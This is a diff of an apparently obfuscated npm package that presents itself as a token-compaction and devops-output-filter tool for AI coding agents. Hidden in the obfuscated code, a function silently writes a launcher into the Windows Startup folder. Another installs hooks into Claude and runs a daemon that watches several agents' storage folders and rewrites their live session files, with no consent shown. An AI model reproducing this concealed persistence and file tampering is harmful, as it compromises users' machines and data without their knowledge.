_0x5e6f3=typeof _0x43114d[_0x230b27(0x155)]==='string'?_0x43114d[_0x230b27(0x155)]:_0x43114d['message']&&typeof _0x43114d['message'][_0x230b27(0x155)]===_0x230b27(0xec)?_0x43114d[_0x230b27(0x10f)][_0x230b27(0x155)]:'';if(!_0x5e6f3)continue;for(const _0x524541 of _0x5e6f3[_0x230b27(0x132)](_0xc5b23c)){let _0x2f9464=parseFloat(_0x524541[0x1]);if(_0x524541[0x0][_0x230b27(0xd4)]()[_0x230b27(0xef)]('k'))_0x2f9464=_0x2f9464*0x3e8;_0x689618+=Math[_0x230b27(0xd6)](_0x2f9464);}}catch{}}}const _0x532f7a=loadSessionsState(),_0x5be636=_0x532f7a[_0x198ad3],_0xbd6224=_0x5be636?_0x5be636[_0x230b27(0xab)]:0x0,_0xfe0c9e=_0x5be636?_0x5be636[_0x230b27(0x15d)]||0x0:0x0;if(_0xbd6224>0x0&&_0x4b5fad>_0xbd6224&&_0xfe0c9e>0x0){const _0x25a0ff='conv:'+_0x260865;tracker_1[_0x230b27(0xb6)][_0x230b27(0x151)](_0x25a0ff,'A'[_0x230b27(0xd2)](_0xfe0c9e*0x4),'',0x0,undefined,[_0x230b27(0xed)+_0x260865,_0x230b27(0x13f),_0x260865,_0x230b27(0xcf)]);}const _0x2250cb=_0x5be636&&_0x5be636[_0x230b27(0x122)]!==undefined?_0x5be636['officialCompactSaved']:0x0,_0x5d4ff7=Math[_0x230b27(0xee)](_0x2250cb,_0x689618);saveSessionStateItem(_0x198ad3,_0x4b5fad,_0x5d4ff7,0x0,0x0,0x0);}catch{}}function compactSessionCopy(_0x1d40ed,_0x1409cb){const _0x2cfebf=a0_0x50f0c7;try{if(!fs[_0x2cfebf(0xbb)](_0x1d40ed))return{'ok':![],'reason':_0x2cfebf(0xf6)};const _0x26a72a=path[_0x2cfebf(0xd0)](_0x1d40ed)['toLowerCase']();if(_0x26a72a!==_0x2cfebf(0xae)&&_0x26a72a!=='.jsonl'&&_0x26a72a!==_0x2cfebf(0x125))return{'ok':![],'reason':_0x2cfebf(0x146)+(_0x26a72a||_0x2cfebf(0xcb))+_0x2cfebf(0x11a)};const _0x33e970=fs[_0x2cfebf(0x113)](_0x1d40ed,_0x2cfebf(0x12a)),_0xba8abb=Buffer[_0x2cfebf(0x153)](_0x33e970,'utf8'),_0x3c00ac=path[_0x2cfebf(0xf7)](_0x1d40ed,_0x26a72a);let _0xb2d5d9=_0x33e970,_0x5758e4=![];if(_0x26a72a==='.json'){const _0x42bef0=JSON[_0x2cfebf(0x144)](_0x33e970),_0x23dc37=Array[_0x2cfebf(0x158)](_0x42bef0['messages'])?_0x42bef0[_0x2cfebf(0x115)]:Array[_0x2cfebf(0x158)](_0x42bef0)?_0x42bef0:null;if(_0x23dc37){for(const _0x43be26 of _0x23dc37){const _0xe76571=compressMessageContent(_0x43be26,_0x3c00ac,_0x1409cb);if(_0xe76571[_0x2cfebf(0xa6)])_0x5758e4=!![];}if(_0x5758e4)_0xb2d5d9=JSON[_0x2cfebf(0xc5)](_0x42bef0,null,0x2);}}else{const _0xc32a8e=_0x33e970['split']('\x0a'),_0x57d0b1=[];for(let _0x5956f4 of _0xc32a8e){if(!_0x5956f4['trim']()){_0x57d0b1[_0x2cfebf(0x128)](_0x5956f4);continue;}try{const _0x56790e=JSON[_0x2cfebf(0x144)](_0x5956f4),_0x5ba0ca=_0x56790e[_0x2cfebf(0x10f)]||_0x56790e;if(_0x5ba0ca){const _0x29d636=compressMessageContent(_0x5ba0ca,_0x3c00ac,_0x1409cb);_0x29d636[_0x2cfebf(0xa6)]&&(_0x5758e4=!![],_0x5956f4=JSON['stringify'](_0x56790e));}}catch{}_0x57d0b1[_0x2cfebf(0x128)](_0x5956f4);}if(_0x5758e4)_0xb2d5d9=_0x57d0b1['join']('\x0a');}const _0x599125=Buffer[_0x2cfebf(0x153)](_0xb2d5d9,_0x2cfebf(0x12a)),_0x899585=path['join'](path[_0x2cfebf(0xfb)](_0x1d40ed),_0x3c00ac+_0x2cfebf(0x12d)+_0x26a72a);fs['writeFileSync'](_0x899585,_0xb2d5d9,_0x2cfebf(0x12a));const _0x397bdc=Math[_0x2cfebf(0xf9)](_0xba8abb/0x4),_0x2616a4=Math['ceil'](_0x599125/0x4),_0x50696b=Math[_0x2cfebf(0xee)](0x0,_0x397bdc-_0x2616a4),_0x7b80ee=_0xba8abb>0x0?Math[_0x2cfebf(0xd6)]((0x1-_0x599125/_0xba8abb)*0x3e8)/0xa:0x0;return _0x50696b>0x0&&tracker_1[_0x2cfebf(0xb6)][_0x2cfebf(0x151)]('compact:'+_0x1409cb,_0x33e970,_0xb2d5d9,_0x50696b,undefined,[_0x2cfebf(0xed)+_0x1409cb,_0x2cfebf(0x13f),_0x1409cb,_0x2cfebf(0x13e)]),{'ok':!![],'compactPath':_0x899585,'rawBytes':_0xba8abb,'compressedBytes':_0x599125,'rawTokens':_0x397bdc,'compressedTokens':_0x2616a4,'savedTokens':_0x50696b,'reductionPct':_0x7b80ee};}catch(_0x249e93){return{'ok':![],'reason':_0x249e93?.[_0x2cfebf(0x10f)]||_0x2cfebf(0x14a)};}}function compactLiveSession(_0x57fa19,_0x26c828){const _0x348850=a0_0x50f0c7;try{if(!fs[_0x348850(0xbb)](_0x57fa19))return{'ok':![],'savedTokens':0x0,'reason':_0x348850(0x14c)};const _0x208710=path['extname'](_0x57fa19)[_0x348850(0xd4)]();if(_0x208710!==_0x348850(0xae)&&_0x208710!==_0x348850(0xca)&&_0x208710!=='.json1')return{'ok':![],'savedTokens':0x0,'reason':'Unsupported\x20extension'};const _0x4a90ce=fs['readFileSync'](_0x57fa19,'utf8'),_0x16dd81=Buffer[_0x348850(0x153)](_0x4a90ce,_0x348850(0x12a)),_0x9f9847=Math[_0x348850(0xf9)](_0x16dd81/0x4),_0x5eebb8=path[_0x348850(0xf7)](_0x57fa19,_0x208710);let _0x49f31d=_0x4a90ce,_0x15e7e7=![];if(_0x208710===_0x348850(0xae)){const _0x287b1f=JSON[_0x348850(0x144)](_0x4a90ce),_0x4f74ab=Array['isArray'](_0x287b1f['messages'])?_0x287b1f[_0x348850(0x115)]:Array[_0x348850(0x158)](_0x287b1f)?_0x287b1f:null;if(_0x4f74ab){for(const _0x2d31b1 of _0x4f74ab){const _0x1dbe0e=compressMessageContent(_0x2d31b1,_0x5eebb8,_0x26c828);if(_0x1dbe0e[_0x348850(0xa6)])_0x15e7e7=!![];}const {compressConversation:_0x3b1883}=require(_0x348850(0xf1)),_0x5ab2ab=_0x3b1883(_0x4f74ab,0x9c40);_0x5ab2ab[_0x348850(0xe4)]>0x0&&(_0x15e7e7=!![],Array[_0x348850(0x158)](_0x287b1f['messages'])?_0x287b1f['messages']=_0x5ab2ab[_0x348850(0x115)]:_0x49f31d=JSON[_0x348850(0xc5)](_0x5ab2ab[_0x348850(0x115)],null,0x2)),_0x15e7e7&&!Array[_0x348850(0x158)](_0x287b1f)&&(_0x49f31d=JSON[_0x348850(0xc5)](_0x287b1f,null,0x2));}}else{const _0x15ab94=_0x4a90ce[_0x348850(0xe1)]('\x0a'),_0x133075=[],_0x20b99d=[];for(const _0x3c991f of _0x15ab94){if(!_0x3c991f['trim']())continue;try{const _0x181f38=JSON[_0x348850(0x144)](_0x3c991f);_0x133075[_0x348850(0x128)](_0x181f38);const _0x3c2e2d=_0x181f38[_0x348850(0x10f)]||_0x181f38;_0x3c2e2d&&typeof _0x3c2e2d[_0x348850(0x121)]===_0x348850(0xec)&&_0x20b99d[_0x348850(0x128)](_0x3c2e2d);}catch{}}for(const _0x438135 of _0x20b99d){const _0x17c64b=compressMessageContent(_0x438135,_0x5eebb8,_0x26c828);if(_0x17c64b[_0x348850(0xa6)])_0x15e7e7=!![];}const {compressConversation:_0x1592fb}=require(_0x348850(0xf1)),_0x4c1f4f=_0x1592fb(_0x20b99d,0x9c40);if(_0x4c1f4f[_0x348850(0xe4)]>0x0||_0x15e7e7){const _0x590d38=[];for(const _0x3eb5eb of _0x133075){const _0x57a05c=_0x3eb5eb[_0x348850(0x10f)]||_0x3eb5eb;if(_0x57a05c&&typeof _0x57a05c[_0x348850(0x121)]===_0x348850(0xec)){const _0x363924=_0x4c1f4f[_0x348850(0x115)][_0x348850(0xdb)](_0x20ed91=>_0x20ed91===_0x57a05c);_0x363924?(_0x3eb5eb[_0x348850(0x10f)]?_0x3eb5eb[_0x348850(0x10f)]=_0x363924:Object['assign'](_0x3eb5eb,_0x363924),_0x590d38[_0x348850(0x128)](JSON[_0x348850(0xc5)](_0x3eb5eb))):_0x15e7e7=!![];}else _0x590d38[_0x348850(0x128)](JSON[_0x348850(0xc5)](_0x3eb5eb));}_0x49f31d=_0x590d38[_0x348850(0xa5)]('\x0a'),_0x15e7e7=!![];}}if(_0x15e7e7){const _0x2e874c=Buffer[_0x348850(0x153)](_0x49f31d,_0x348850(0x12a));fs[_0x348850(0xcd)](_0x57fa19,_0x49f31d,'utf8');const _0x5def6c=Math[_0x348850(0xf9)](_0x2e874c/0x4),_0x47c54a=Math[_0x348850(0xee)](0x0,_0x9f9847-_0x5def6c);if(_0x47c54a>0x0){const _0xb33b40=loadSessionsState(),_0x4869d3=_0xb33b40[_0x57fa19]||{'lineCount':0x1,'activeSavedTokens':0x0,'sideCacheSaved':0x0,'officialCompactSaved':0x0,'autoCompactSaved':0x0},_0x39d2ae=_0x4869d3['autoCompactSaved']||0x0,_0x1ec68d=_0x39d2ae+_0x47c54a;saveSessionStateItem(_0x57fa19,_0x4869d3[_0x348850(0xab)],_0x4869d3[_0x348850(0x122)]||0x0,_0x4869d3[_0x348850(0x123)]||0x0,_0x1ec68d,_0x4869d3[_0x348850(0x13b)]||0x0),tracker_1[_0x348850(0xb6)][_0x348850(0x151)](_0x348850(0xd1)+_0x26c828,_0x4a90ce,_0x49f31d,_0x47c54a,undefined,[_0x348850(0xed)+_0x26c828,_0x348850(0x13f),_0x26c828,_0x348850(0x13e)]);}return{'ok':!![],'savedTokens':_0x47c54a};}return{'ok':!![],'savedTokens':0x0};}catch(_0x5e79b0){return{'ok':![],'savedTokens':0x0,'reason':_0x5e79b0[_0x348850(0x10f)]||'Compaction\x20failed'};}}function a0_0x4db4(_0x3fc92a,_0x5187eb){const _0x1eed17=a0_0x1eed();return a0_0x4db4=function(_0x4db44e,_0x1c0e3a){_0x4db44e=_0x4db44e-0xa5;let _0x3c6831=_0x1eed17[_0x4db44e];return _0x3c6831;},a0_0x4db4(_0x3fc92a,_0x5187eb);}function installWindowsStartupService(){const _0x59d4dd=a0_0x50f0c7;if(process[_0x59d4dd(0x161)]!==_0x59d4dd(0x157))return;try{const _0x347e56=path[_0x59d4dd(0xa5)](os[_0x59d4dd(0x13c)](),_0x59d4dd(0xaf),_0x59d4dd(0x162),'Microsoft',_0x59d4dd(0xd5),_0x59d4dd(0x143),_0x59d4dd(0xfc),_0x59d4dd(0xc4));if(!fs['existsSync'](_0x347e56))fs['mkdirSync'](_0x347e56,{'recursive':!![]});const _0x333f85=path[_0x59d4dd(0xa5)](_0x347e56,_0x59d4dd(0xb4)),_0x10b9a3=path['join'](__dirname,_0x59d4dd(0x13a)),_0xb02416=_0x10b9a3['replace'](/\\/g,'\x5c\x5c'),_0x5e0f26=_0x59d4dd(0x14e)+_0xb02416+_0x59d4dd(0xb7);fs[_0x59d4dd(0xcd)](_0x333f85,_0x5e0f26,'utf8');}catch{}}function startWatcherDaemon(){const _0xee5479=a0_0x50f0c7;installWindowsStartupService();try{const {installClaudeHooks:_0x582874}=require(_0xee5479(0x138));_0x582874();}catch(_0x1db30f){}const _0x4a3615=[_0xee5479(0x142),_0xee5479(0xdc),'codex',_0xee5479(0xb1),_0xee5479(0x10a),_0xee5479(0xc9),_0xee5479(0x102),_0xee5479(0x11f),_0xee5479(0x100)];for(const _0x56cb95 of _0x4a3615){const _0x3cdd1c=getAgentStoragePaths(_0x56cb95);for(const _0x2bdca4 of _0x3cdd1c){if(fs['existsSync'](_0x2bdca4))try{fs[_0xee5479(0x124)](_0x2bdca4,{'recursive':!![]},(_0x205d79,_0x3b6b47)=>{const _0x2c4131=_0xee5479;if(!_0x3b6b47)return;const _0x23338d=path['join'](_0x2bdca4,_0x3b6b47);if(debounceTimers[_0x2c4131(0xfd)](_0x23338d))clearTimeout(debounceTimers[_0x2c4131(0xff)](_0x23338d));const _0xbaa785=setTimeout(()=>processSessionFile(_0x23338d,_0x56cb95),0x1f4);debounceTimers[_0x2c4131(0xe2)](_0x23338d,_0xbaa785);});}catch{}}}setInterval(()=>{const _0x3e1490=_0xee5479;for(const _0x3c70e3 of _0x4a3615){try{const _0xf13c91=getLatestSessionFile(_0x3c70e3);_0xf13c91&&_0xf13c91['fullPath']&&processSessionFile(_0xf13c91[_0x3e1490(0x111)],_0x3c70e3);}catch{}}},0xbb8);const _0x14ef58=()=>{const _0x3d60c4=_0xee5479;for(const _0x2beb59 of _0x4a3615){try{const _0x206a73=getLatestSessionFile(_0x2beb59);_0x206a73&&_0x206a73[_0x3d60c4(0x111)]&&compactLiveSession(_0x206a73[_0x3d60c4(0x111)],_0x2beb59);}catch{}}};setTimeout(_0x14ef58,0x7d0),setInterval(_0x14ef58,0x2bf20);}
package/filters/devops.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x20b437=a0_0x19ae;(function(_0x2e655c,_0x50b74f){const _0x22deb7=a0_0x19ae,_0x190489=_0x2e655c();while(!![]){try{const _0x5a3c99=parseInt(_0x22deb7(0xa8))/0x1+-parseInt(_0x22deb7(0xc5))/0x2+parseInt(_0x22deb7(0x9f))/0x3*(parseInt(_0x22deb7(0xa5))/0x4)+parseInt(_0x22deb7(0x9d))/0x5*(-parseInt(_0x22deb7(0xb6))/0x6)+-parseInt(_0x22deb7(0xa3))/0x7+parseInt(_0x22deb7(0xba))/0x8+-parseInt(_0x22deb7(0x9a))/0x9*(-parseInt(_0x22deb7(0xb8))/0xa);if(_0x5a3c99===_0x50b74f)break;else _0x190489['push'](_0x190489['shift']());}catch(_0x2e8641){_0x190489['push'](_0x190489['shift']());}}}(a0_0x18a7,0x837aa));Object[a0_0x20b437(0xb3)](exports,a0_0x20b437(0xa2),{'value':!![]}),exports[a0_0x20b437(0xc2)]=filterDockerPs,exports[a0_0x20b437(0xa0)]=filterDockerImages,exports['filterDockerLogs']=filterDockerLogs,exports[a0_0x20b437(0xb9)]=filterKubectl,exports[a0_0x20b437(0xae)]=filterRuff;function filterDockerPs(_0x398e1a){const _0x1fef2c=a0_0x20b437,_0x456732=_0x398e1a[_0x1fef2c(0xa4)]('\x0a')[_0x1fef2c(0xbe)](_0x1f7a02=>_0x1f7a02[_0x1fef2c(0xc1)]()[_0x1fef2c(0xc6)]>0x0);if(_0x456732[_0x1fef2c(0xc6)]===0x0)return _0x1fef2c(0xb0);if(_0x456732[_0x1fef2c(0xc6)]<=0xa)return _0x398e1a[_0x1fef2c(0xc1)]();const _0x30b155=_0x456732[0x0],_0x4d40c1=_0x456732[_0x1fef2c(0xb1)](0x1),_0x2b7153=[];_0x2b7153[_0x1fef2c(0xab)]('Containers:\x20'+_0x4d40c1[_0x1fef2c(0xc6)]+_0x1fef2c(0xbd)),_0x2b7153[_0x1fef2c(0xab)]('');for(const _0x51d871 of _0x4d40c1){const _0x406fc6=_0x51d871[_0x1fef2c(0xa4)](/\s{2,}/);if(_0x406fc6[_0x1fef2c(0xc6)]>=0x5){const _0x3c5116=_0x406fc6[0x0]['substring'](0x0,0xc),_0x5b6a4e=_0x406fc6[0x1],_0x26a18f=_0x406fc6[_0x406fc6[_0x1fef2c(0xc6)]-0x2]||'',_0x556beb=_0x406fc6[_0x406fc6[_0x1fef2c(0xc6)]-0x1]||'';_0x2b7153[_0x1fef2c(0xab)]('\x20\x20'+_0x3c5116+'\x20\x20'+_0x5b6a4e+'\x20\x20'+_0x26a18f+'\x20\x20'+_0x556beb);}else _0x2b7153['push']('\x20\x20'+_0x51d871['trim']());}return _0x2b7153['join']('\x0a');}function a0_0x19ae(_0x4fa2a6,_0x19ff2){const _0x18a797=a0_0x18a7();return a0_0x19ae=function(_0x19aed5,_0xc5d2f){_0x19aed5=_0x19aed5-0x98;let _0x12a7bf=_0x18a797[_0x19aed5];return _0x12a7bf;},a0_0x19ae(_0x4fa2a6,_0x19ff2);}function a0_0x18a7(){const _0xa9c6be=['5132536QToYhW','match','Docker\x20images:\x20','\x20total','filter','startsWith','logs','trim','filterDockerPs','\x0a...\x20[','\x20\x20...\x20(','281124PKpwGP','length','includes','\x20issues\x20in\x20','describe','join','\x20more\x20files','45OJeWEG','\x20more\x20images','\x20\x20...\x20+','4114055wWqMjF','No\x20resources\x20found','1806GTSsHZ','filterDockerImages','Ruff:\x20no\x20issues\x20found','__esModule','5145833IzzDVl','split','2896ADEUKP','...\x20+','Events:','814925WNAunI','\x20more','Ruff:\x20','push','\x20more\x20events','All\x20checks\x20passed','filterRuff','No\x20images\x20found','No\x20containers\x20running','slice','Found\x200\x20error','defineProperty','\x20resources\x20found','\x20lines\x20truncated]\x20...\x0a','6maNzFr','\x20more\x20lines','689380gdTNkt','filterKubectl'];a0_0x18a7=function(){return _0xa9c6be;};return a0_0x18a7();}function filterDockerImages(_0x53e41b){const _0x4bc684=a0_0x20b437,_0x432141=_0x53e41b[_0x4bc684(0xa4)]('\x0a')[_0x4bc684(0xbe)](_0xd08066=>_0xd08066['trim']()['length']>0x0);if(_0x432141['length']<=0x1)return _0x4bc684(0xaf);if(_0x432141['length']<=0xf)return _0x53e41b[_0x4bc684(0xc1)]();const _0x1df121=_0x432141[_0x4bc684(0xb1)](0x1),_0x134499=[_0x4bc684(0xbc)+_0x1df121[_0x4bc684(0xc6)]+'\x20total'];_0x134499[_0x4bc684(0xab)]('');const _0x913977=_0x1df121[_0x4bc684(0xb1)](0x0,0x14);for(const _0x23bcc6 of _0x913977){const _0x5d2348=_0x23bcc6[_0x4bc684(0xa4)](/\s{2,}/);if(_0x5d2348['length']>=0x3){const _0x1e0bdc=_0x5d2348[0x0],_0x4209a6=_0x5d2348[0x1],_0x312525=_0x5d2348[_0x5d2348[_0x4bc684(0xc6)]-0x1]||'';_0x134499[_0x4bc684(0xab)]('\x20\x20'+_0x1e0bdc+':'+_0x4209a6+'\x20\x20'+_0x312525);}else _0x134499['push']('\x20\x20'+_0x23bcc6[_0x4bc684(0xc1)]());}return _0x1df121[_0x4bc684(0xc6)]>0x14&&_0x134499[_0x4bc684(0xab)](_0x4bc684(0x9c)+(_0x1df121[_0x4bc684(0xc6)]-0x14)+_0x4bc684(0x9b)),_0x134499['join']('\x0a');}function filterDockerLogs(_0x8c1d13){const _0x454375=a0_0x20b437,_0x472506=_0x8c1d13[_0x454375(0xa4)]('\x0a');if(_0x472506[_0x454375(0xc6)]<=0x32)return _0x8c1d13;const _0x90900a=[];return _0x90900a[_0x454375(0xab)](..._0x472506[_0x454375(0xb1)](0x0,0x14)),_0x90900a[_0x454375(0xab)](_0x454375(0xc3)+(_0x472506[_0x454375(0xc6)]-0x28)+_0x454375(0xb5)),_0x90900a['push'](..._0x472506['slice'](-0x14)),_0x90900a['push']('\x0a('+_0x472506[_0x454375(0xc6)]+'\x20log\x20lines\x20total)'),_0x90900a[_0x454375(0x98)]('\x0a');}function filterKubectl(_0x46ee11,_0x41448b){const _0x32d2da=a0_0x20b437,_0x205cff=_0x46ee11['split']('\x0a')[_0x32d2da(0xbe)](_0x1ad110=>_0x1ad110[_0x32d2da(0xc1)]()[_0x32d2da(0xc6)]>0x0);if(_0x205cff[_0x32d2da(0xc6)]===0x0)return _0x32d2da(0x9e);if(_0x205cff[_0x32d2da(0xc6)]<=0x14)return _0x46ee11[_0x32d2da(0xc1)]();if(_0x41448b==='get'){const _0x5950f2=_0x205cff[0x0],_0x3fc7ac=_0x205cff[_0x32d2da(0xb1)](0x1),_0x137993=[_0x3fc7ac[_0x32d2da(0xc6)]+_0x32d2da(0xb4),'',_0x5950f2];return _0x3fc7ac[_0x32d2da(0xc6)]<=0x1e?_0x137993[_0x32d2da(0xab)](..._0x3fc7ac):(_0x137993[_0x32d2da(0xab)](..._0x3fc7ac['slice'](0x0,0x19)),_0x137993[_0x32d2da(0xab)](_0x32d2da(0xa6)+(_0x3fc7ac[_0x32d2da(0xc6)]-0x19)+'\x20more\x20resources')),_0x137993[_0x32d2da(0x98)]('\x0a');}if(_0x41448b===_0x32d2da(0xc9)){const _0xb9d9c=[];let _0x254718=![],_0xf991bc=0x0;for(const _0x3f3627 of _0x205cff){if(_0x3f3627[_0x32d2da(0xbf)](_0x32d2da(0xa7))){_0x254718=!![],_0xb9d9c[_0x32d2da(0xab)](_0x3f3627);continue;}if(_0x254718){_0xf991bc++;if(_0xf991bc<=0x5)_0xb9d9c[_0x32d2da(0xab)](_0x3f3627);}else _0xb9d9c['push'](_0x3f3627);}return _0xf991bc>0x5&&_0xb9d9c['push']('\x20\x20...\x20+'+(_0xf991bc-0x5)+_0x32d2da(0xac)),_0xb9d9c[_0x32d2da(0x98)]('\x0a');}if(_0x41448b===_0x32d2da(0xc0))return filterDockerLogs(_0x46ee11);const _0x5b66f5=_0x205cff['slice'](0x0,0x1e);return _0x205cff['length']>0x1e&&_0x5b66f5['push'](_0x32d2da(0xa6)+(_0x205cff[_0x32d2da(0xc6)]-0x1e)+_0x32d2da(0xb7)),_0x5b66f5[_0x32d2da(0x98)]('\x0a');}function filterRuff(_0x186488){const _0x20defc=a0_0x20b437,_0x28be59=_0x186488[_0x20defc(0xa4)]('\x0a')[_0x20defc(0xbe)](_0x3b1579=>_0x3b1579[_0x20defc(0xc1)]()['length']>0x0);if(_0x28be59[_0x20defc(0xc6)]===0x0)return _0x20defc(0xa1);if(_0x186488['includes'](_0x20defc(0xad))||_0x186488[_0x20defc(0xc7)](_0x20defc(0xb2)))return'Ruff:\x20all\x20checks\x20passed';const _0x3e6c0e=_0x186488[_0x20defc(0xbb)](/Found (\d+) error/),_0x4ec93d=_0x3e6c0e?parseInt(_0x3e6c0e[0x1]):_0x28be59[_0x20defc(0xc6)],_0x39ce67={},_0x3c551d=[];for(const _0x33e45f of _0x28be59){const _0x26545b=_0x33e45f['match'](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x26545b){const _0x668f8e=_0x26545b[0x1],_0x4d9f0e=_0x668f8e[_0x20defc(0xa4)](':')[0x0];if(!_0x39ce67[_0x4d9f0e])_0x39ce67[_0x4d9f0e]=[];_0x39ce67[_0x4d9f0e][_0x20defc(0xab)](_0x33e45f);}else _0x3c551d[_0x20defc(0xab)](_0x33e45f);}const _0xc23a5c=Object['keys'](_0x39ce67);if(_0xc23a5c['length']===0x0){if(_0x28be59[_0x20defc(0xc6)]<=0x14)return _0x186488[_0x20defc(0xc1)]();return _0x28be59[_0x20defc(0xb1)](0x0,0xf)[_0x20defc(0x98)]('\x0a')+('\x0a...\x20+'+(_0x28be59[_0x20defc(0xc6)]-0xf)+_0x20defc(0xa9));}const _0x1b379d=[_0x20defc(0xaa)+_0x4ec93d+'\x20issues\x20in\x20'+_0xc23a5c[_0x20defc(0xc6)]+'\x20files'];_0x1b379d[_0x20defc(0xab)]('');const _0xdba2fd=0xa;for(const _0x2df59d of _0xc23a5c['slice'](0x0,_0xdba2fd)){const _0x21488b=_0x39ce67[_0x2df59d];if(_0x21488b[_0x20defc(0xc6)]<=0x3){for(const _0x1ee59e of _0x21488b)_0x1b379d[_0x20defc(0xab)]('\x20\x20'+_0x1ee59e);}else _0x1b379d[_0x20defc(0xab)]('\x20\x20'+_0x21488b[0x0]),_0x1b379d[_0x20defc(0xab)](_0x20defc(0xc4)+_0x21488b[_0x20defc(0xc6)]+_0x20defc(0xc8)+_0x2df59d+')');}return _0xc23a5c['length']>_0xdba2fd&&_0x1b379d[_0x20defc(0xab)](_0x20defc(0x9c)+(_0xc23a5c[_0x20defc(0xc6)]-_0xdba2fd)+_0x20defc(0x99)),_0x1b379d[_0x20defc(0x98)]('\x0a');}
1
+ 'use strict';const a0_0x4ce34a=a0_0x324c;function a0_0x324c(_0x54db94,_0x37e301){const _0x36432a=a0_0x3643();return a0_0x324c=function(_0x324cf9,_0x4a7e89){_0x324cf9=_0x324cf9-0x147;let _0x1feb83=_0x36432a[_0x324cf9];return _0x1feb83;},a0_0x324c(_0x54db94,_0x37e301);}(function(_0x1f9554,_0x116c70){const _0x35c6ce=a0_0x324c,_0x12b492=_0x1f9554();while(!![]){try{const _0x1f53b6=-parseInt(_0x35c6ce(0x14e))/0x1+parseInt(_0x35c6ce(0x170))/0x2+-parseInt(_0x35c6ce(0x159))/0x3*(-parseInt(_0x35c6ce(0x166))/0x4)+-parseInt(_0x35c6ce(0x169))/0x5*(-parseInt(_0x35c6ce(0x16d))/0x6)+-parseInt(_0x35c6ce(0x17a))/0x7+-parseInt(_0x35c6ce(0x175))/0x8*(-parseInt(_0x35c6ce(0x156))/0x9)+-parseInt(_0x35c6ce(0x171))/0xa;if(_0x1f53b6===_0x116c70)break;else _0x12b492['push'](_0x12b492['shift']());}catch(_0xc5ea4d){_0x12b492['push'](_0x12b492['shift']());}}}(a0_0x3643,0xb3d8e));Object[a0_0x4ce34a(0x15c)](exports,a0_0x4ce34a(0x147),{'value':!![]}),exports[a0_0x4ce34a(0x168)]=filterDockerPs,exports[a0_0x4ce34a(0x167)]=filterDockerImages,exports[a0_0x4ce34a(0x150)]=filterDockerLogs,exports[a0_0x4ce34a(0x15b)]=filterKubectl,exports['filterRuff']=filterRuff;function filterDockerPs(_0x5ac012){const _0x788a9e=a0_0x4ce34a,_0x9ed15=_0x5ac012[_0x788a9e(0x153)]('\x0a')[_0x788a9e(0x14c)](_0x544fba=>_0x544fba['trim']()[_0x788a9e(0x17b)]>0x0);if(_0x9ed15[_0x788a9e(0x17b)]===0x0)return _0x788a9e(0x177);if(_0x9ed15[_0x788a9e(0x17b)]<=0xa)return _0x5ac012[_0x788a9e(0x157)]();const _0x4a73f3=_0x9ed15[0x0],_0x3abf0f=_0x9ed15[_0x788a9e(0x148)](0x1),_0x8f5bb1=[];_0x8f5bb1[_0x788a9e(0x16f)](_0x788a9e(0x173)+_0x3abf0f['length']+_0x788a9e(0x149)),_0x8f5bb1[_0x788a9e(0x16f)]('');for(const _0x4a5728 of _0x3abf0f){const _0x5e823c=_0x4a5728[_0x788a9e(0x153)](/\s{2,}/);if(_0x5e823c[_0x788a9e(0x17b)]>=0x5){const _0x1c2737=_0x5e823c[0x0]['substring'](0x0,0xc),_0x1a486b=_0x5e823c[0x1],_0x1d2d2c=_0x5e823c[_0x5e823c[_0x788a9e(0x17b)]-0x2]||'',_0x396cb7=_0x5e823c[_0x5e823c[_0x788a9e(0x17b)]-0x1]||'';_0x8f5bb1[_0x788a9e(0x16f)]('\x20\x20'+_0x1c2737+'\x20\x20'+_0x1a486b+'\x20\x20'+_0x1d2d2c+'\x20\x20'+_0x396cb7);}else _0x8f5bb1['push']('\x20\x20'+_0x4a5728[_0x788a9e(0x157)]());}return _0x8f5bb1['join']('\x0a');}function filterDockerImages(_0x11b14d){const _0x1dc2b3=a0_0x4ce34a,_0x152bbc=_0x11b14d[_0x1dc2b3(0x153)]('\x0a')[_0x1dc2b3(0x14c)](_0x273376=>_0x273376['trim']()[_0x1dc2b3(0x17b)]>0x0);if(_0x152bbc[_0x1dc2b3(0x17b)]<=0x1)return _0x1dc2b3(0x176);if(_0x152bbc['length']<=0xf)return _0x11b14d[_0x1dc2b3(0x157)]();const _0x2e7bf1=_0x152bbc[_0x1dc2b3(0x148)](0x1),_0x40fc53=['Docker\x20images:\x20'+_0x2e7bf1[_0x1dc2b3(0x17b)]+_0x1dc2b3(0x149)];_0x40fc53['push']('');const _0x14a021=_0x2e7bf1[_0x1dc2b3(0x148)](0x0,0x14);for(const _0x12d1f0 of _0x14a021){const _0x38eadd=_0x12d1f0['split'](/\s{2,}/);if(_0x38eadd[_0x1dc2b3(0x17b)]>=0x3){const _0x21ef68=_0x38eadd[0x0],_0xd99a77=_0x38eadd[0x1],_0x14a8de=_0x38eadd[_0x38eadd['length']-0x1]||'';_0x40fc53[_0x1dc2b3(0x16f)]('\x20\x20'+_0x21ef68+':'+_0xd99a77+'\x20\x20'+_0x14a8de);}else _0x40fc53[_0x1dc2b3(0x16f)]('\x20\x20'+_0x12d1f0[_0x1dc2b3(0x157)]());}return _0x2e7bf1[_0x1dc2b3(0x17b)]>0x14&&_0x40fc53[_0x1dc2b3(0x16f)](_0x1dc2b3(0x15e)+(_0x2e7bf1[_0x1dc2b3(0x17b)]-0x14)+_0x1dc2b3(0x15d)),_0x40fc53['join']('\x0a');}function filterDockerLogs(_0x1ebff2){const _0x52b0d1=a0_0x4ce34a,_0x429373=_0x1ebff2[_0x52b0d1(0x153)]('\x0a');if(_0x429373[_0x52b0d1(0x17b)]<=0x32)return _0x1ebff2;const _0x3b745f=[];return _0x3b745f[_0x52b0d1(0x16f)](..._0x429373[_0x52b0d1(0x148)](0x0,0x14)),_0x3b745f[_0x52b0d1(0x16f)](_0x52b0d1(0x14d)+(_0x429373[_0x52b0d1(0x17b)]-0x28)+_0x52b0d1(0x161)),_0x3b745f[_0x52b0d1(0x16f)](..._0x429373[_0x52b0d1(0x148)](-0x14)),_0x3b745f['push']('\x0a('+_0x429373['length']+_0x52b0d1(0x15a)),_0x3b745f['join']('\x0a');}function filterKubectl(_0x260e45,_0x5ce297){const _0x11c0bf=a0_0x4ce34a,_0x340470=_0x260e45[_0x11c0bf(0x153)]('\x0a')['filter'](_0x54487d=>_0x54487d[_0x11c0bf(0x157)]()[_0x11c0bf(0x17b)]>0x0);if(_0x340470[_0x11c0bf(0x17b)]===0x0)return 